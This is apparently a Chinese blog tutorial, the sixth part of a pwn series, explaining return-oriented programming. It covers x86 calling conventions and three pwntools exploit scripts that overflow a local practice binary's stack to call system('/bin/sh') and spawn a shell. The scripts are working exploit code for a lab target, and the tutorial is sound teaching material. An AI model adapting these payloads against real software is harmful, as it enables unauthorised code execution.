Linux下pwn从入门到放弃,pwn从入门到放弃第六章——简单ROP

8种机械键盘轴体对比

本人程序员，要买一个写代码的键盘，请问红轴和茶轴怎么选？

这篇鸽了挺久的，补一下吧

简单介绍ROP

首先先来说下什么是ROP

ROP是Return Oriented Programming 的缩写

翻译过来就是面向返回的编程

你可能会问，我们不是利用栈溢出漏洞么，怎么又扯到编程了？

其实ROP就是另外一种意义上的编程，其核心在于利用了指令集中的 ret 指令，改变了指令流的执行顺序。ROP 攻击一般得满足如下条件程序存在溢出，并且可以控制返回地址。

可以找到满足条件的 gadgets 以及相应 gadgets 的地址。

这里的gadgets是类似下面的代码片段

这里用32位的程序作为示例，所以我们先讲32位的ROP，然后再讲64位的ROP，两者其实相差不大

这些gadgets一般遵循以下的形式1

2

3xxx

xxx

ret

例如1

2pop ebp

ret

1

2int 80h

ret

反正就是一堆指令后面跟着ret

但是比较常见和常用的就是1

2pop xxx

ret

这一类的gadget

但是其实在32位的ROP中是比较少用gadget的

这里又扯一下函数参数的传递方式32位

我们举一个例子吧，在上一章的示例程序中也可以找到对应的代码1read(0,buf,0x100)

这一句代码，对应的汇编是1

2

3

4

5.text:08048484 push 100h ; nbytes

.text:08048489 lea eax, [ebp+buf]

.text:0804848C push eax ; buf

.text:0804848D push 0 ; fd

.text:0804848F call _read

可以看到参数是从右到左入栈，先push 0x100，再push buf，最后push 0

所以例如1my_fun(0,1,2,3,4,5,6)

对应的汇编就是1

2

3

4

5

6

7

8push 6

push 5

push 4

push 3

push 2

push 1

push 0

call my_fun

64位

同样是那一行代码1read(0,buf,0x100)

对应的64位汇编是1

2

3

4

5lea rax, [rbp+buf]

mov edx, 100h ; nbytes

mov rsi, rax ; buf

mov edi, 0 ; fd

call _read

而1my_fun(0,1,2,3,4,5,6)

就变成1

2

3

4

5

6

7

8push 6

mov r9d, 5

mov r8d, 4

mov ecx, 3

mov edx, 2

mov esi, 1

mov edi, 0

call my_fun

可以看到函数的前6个参数都会放到寄存器里面，从左到右对应的是1rdi, rsi, rdx, rcx, r8d, r9d

如果还有更多参数的话，就会通过栈来传递

32位程序实战

接下来结合实例来讲一下吧

还是用上一章那个程序

假如现在我们不直接跳到backdoor函数，而是通过ROP来调用1system("/bin/sh")

布置好的栈如下

对应的payload是1

2

3

4

5

6

7

8

9

10

11

12

13

14

15from pwn import *

p=process('./pwn_level1')

context.log_level='debug'

gdb.attach(p)

p.recvuntil('try to stackoverflow!!')

system=0x8048340

binsh=0x8048577

p.send('a'*13+p32(system)+p32(0xdeadbeef)+p32(binsh))

p.interactive()

接下来讲解一下为什么这样布置栈

我们在0x8048499 处下一个断点

用1x /10xw $esp

查看栈的情况

1

2

30x08048340 -> system

0xdeadbeef -> retaddr

0x08048577 -> /bin/sh字符串的地址

你可能想问，这里为什么突然多了retaddr这个东西了呢？

我们来回顾一下正常调用1system("/bin/sh")

对应的汇编是1

2push binsh_addr

call system

关键就在1call system

这句汇编其实等价于1

2push eip+5

jmp system

因为call指令一波都是5个字节的长度，所以这里保存的是下一条指令的地址

而我们栈溢出控制rip，其实就相等于1jmp system

少了保存地址，所以我们要填一个返回地址给它

但是调用system(“/bin/sh”)之后就get shell了，返回地址是什么其实没有什么所谓，所以填0xdeadbeef也行

接下来加大一点难度

假设程序里面没有/bin/sh这个字符串，我们要调用read读/bin/sh到bss段

布置好的栈如下

payload如下1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24from pwn import *

p=process('./pwn_level1')

context.log_level='debug'

#gdb.attach(p)

p.recvuntil('try to stackoverflow!!')

read=0x8048320

system=0x8048340

binsh=0x8048577

pop3ret=0x8048539

bss=0x804A024

payload='a'*13+p32(read)+p32(pop3ret)+p32(0)+p32(bss)+p32(0x100)

payload+=p32(system)+p32(0xdeadbeef)+p32(bss)

p.send(payload)

sleep(1)

p.sendline('/bin/shx00')

p.interactive()

这里如果要调试的话，最好把1sleep(1)

换成1raw_input()

这样比较好调

这里1pop3ret

作用是改变栈，让栈指针指向system

64位程序实战

64位的其实和32位的大同小异，区别就在于传递参数那里

这里给下示例程序

然后给下payload，因为差不多，所以就不详细解释了1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17from pwn import *

p=process('./pwn_level1_64')

context.log_level='debug'

gdb.attach(p)

p.recvuntil('try to stackoverflow!!')

prdi=0x400663

binsh=0x400684

system=0x400480

payload='a'*9+p64(prdi)+p64(binsh)+p64(system)

p.send(payload)

p.interactive()

但是因为程序没有1pop rdx

这个gadget，所以在这个程序比较难控制第三个参数，也就比较难调用1read(0,buf,0x100)

比较难不代表不行，之后会介绍一个万能gadget，能够控制rdx的